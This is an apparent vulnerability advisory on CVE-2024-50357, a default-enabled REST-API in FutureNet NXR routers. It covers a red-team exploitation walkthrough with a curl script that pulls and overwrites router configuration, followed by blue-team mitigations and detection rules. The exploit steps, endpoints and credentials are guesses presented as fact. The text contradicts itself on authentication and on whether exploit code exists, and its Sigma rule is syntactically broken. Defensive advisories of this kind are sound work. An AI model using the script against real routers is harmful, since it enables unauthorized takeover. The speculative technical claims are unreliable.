CVE-2024-50357

Executive Summary

CVE-2024-50357 is a critical vulnerability in FutureNet NXR series routers manufactured by Century Systems Co., Ltd. The flaw arises from a design inconsistency where REST-APIs, intended to be disabled by default, become unexpectedly enabled when the device is powered up if either the HTTP server (GUI) or Web authentication is enabled. Since the factory default configuration enables the HTTP server, REST-APIs are active out-of-the-box with default credentials. This allows an unauthenticated attacker to remotely obtain and alter device settings, leading to full compromise of the router. The CVSS score of 9.8 reflects the ease of exploitation and severe impact on confidentiality, integrity, and availability. No public exploit code or patch is currently available, making this a high-priority zero-day for network defenders.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full read access to device configuration.
• Integrity Impact: High (I:H) – Full write access to device settings.
• Availability Impact: High (A:H) – Potential to disrupt routing services.
• Threat Level: Critical – Immediate risk of remote takeover with default credentials.

Deep Dive & Mechanics

The vulnerability stems from a flawed initialization sequence in the device firmware. The REST-API service is designed to be disabled in factory default settings, but the boot process incorrectly enables it when the HTTP server (GUI) or Web authentication is active. Since the HTTP server is enabled by default, the REST-API becomes active on startup. The API uses hardcoded default credentials (username and password) that are well-known or easily guessable. An attacker can send crafted HTTP requests to the REST-API endpoints (e.g., /api/v1/...) to read or modify router configuration, including network settings, firewall rules, and VPN credentials. The lack of authentication checks on these endpoints amplifies the risk.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable behavior is in the firmware initialization script (likely a shell or C-based init). A conceptual fix would involve:

• Vulnerable (pseudo-code):

  if (http_server_enabled || web_auth_enabled) {
      enable_rest_api();
  }
  

• Patched (pseudo-code):

  if (rest_api_configured && (http_server_enabled || web_auth_enabled)) {
      enable_rest_api();
  }
  

  The patch would require an explicit configuration flag for REST-API, independent of HTTP server state, and removal of default credentials.

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Scan for FutureNet NXR routers using Shodan dorks or masscan on port 80/443.
2. Identify REST-API: Send a GET request to /api/v1/status or similar endpoint.
3. Default Credentials: Attempt login with known default credentials (e.g., admin:admin or root:root).
4. Exploit: Use a script to enumerate and modify settings:

   #!/bin/bash
   TARGET="192.168.1.1"
   USER="admin"
   PASS="admin"
   # Fetch config
   curl -u "$USER:$PASS" "http://$TARGET/api/v1/config" -o config.json
   # Modify and upload
   curl -u "$USER:$PASS" -X PUT "http://$TARGET/api/v1/config" -d @malicious_config.json
   

Blue Team

1. Monitor for Anomalous API Calls: Detect repeated requests to /api/v1/* endpoints from external IPs.
2. Check Default Credentials: Immediately change default credentials on all devices.
3. Disable HTTP Server: If possible, disable the HTTP GUI to prevent REST-API activation.
4. Network Segmentation: Isolate affected routers from untrusted networks.
5. Log Analysis: Look for authentication failures or configuration changes via REST-API.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/v1/ endpoints (e.g., /api/v1/config, /api/v1/status).
  • Unusual outbound connections from the router to unknown IPs (data exfiltration).
  • Default credential usage in HTTP Basic Auth headers.
• File IOCs:
  • Modified configuration files (e.g., config.json with altered firewall rules).
  • Presence of unauthorized SSH keys or VPN profiles.
• Behavioral IOCs:
  • Router reboot loops or unexpected downtime.
  • Changes to DNS settings or routing tables.

Detection Engineering

YARA Rule

rule CVE_2024_50357_REST_API_Exploit {
    meta:
        description = "Detects HTTP requests targeting FutureNet NXR REST-API endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50357"
    strings:
        $api_path = "/api/v1/" ascii wide nocase
        $default_cred = "Basic " ascii wide
    condition:
        $api_path and $default_cred
}

Sigma Rule

title: CVE-2024-50357 FutureNet NXR REST-API Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit default REST-API credentials on FutureNet NXR routers
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem|startswith: '/api/v1/'
        cs-method: 'GET' or 'PUT' or 'POST'
    condition: selection
falsepositives:
    - Legitimate admin activity after credential change
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-50357 FutureNet NXR REST-API Default Credential Attempt"; flow:to_server; content:"/api/v1/"; http_uri; content:"Authorization|3a| Basic"; http_header; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  1. Change default credentials on all FutureNet NXR devices.
  2. Disable the HTTP server (GUI) if not required.
  3. Block external access to port 80/443 on the router from untrusted networks.
• Vendor Patch: No patch available. Contact Century Systems for updates.
• Workaround: Implement network-level ACLs to restrict REST-API access to trusted IPs only.
• Long-term: Replace affected devices with patched alternatives if vendor does not release a fix.

Valters IT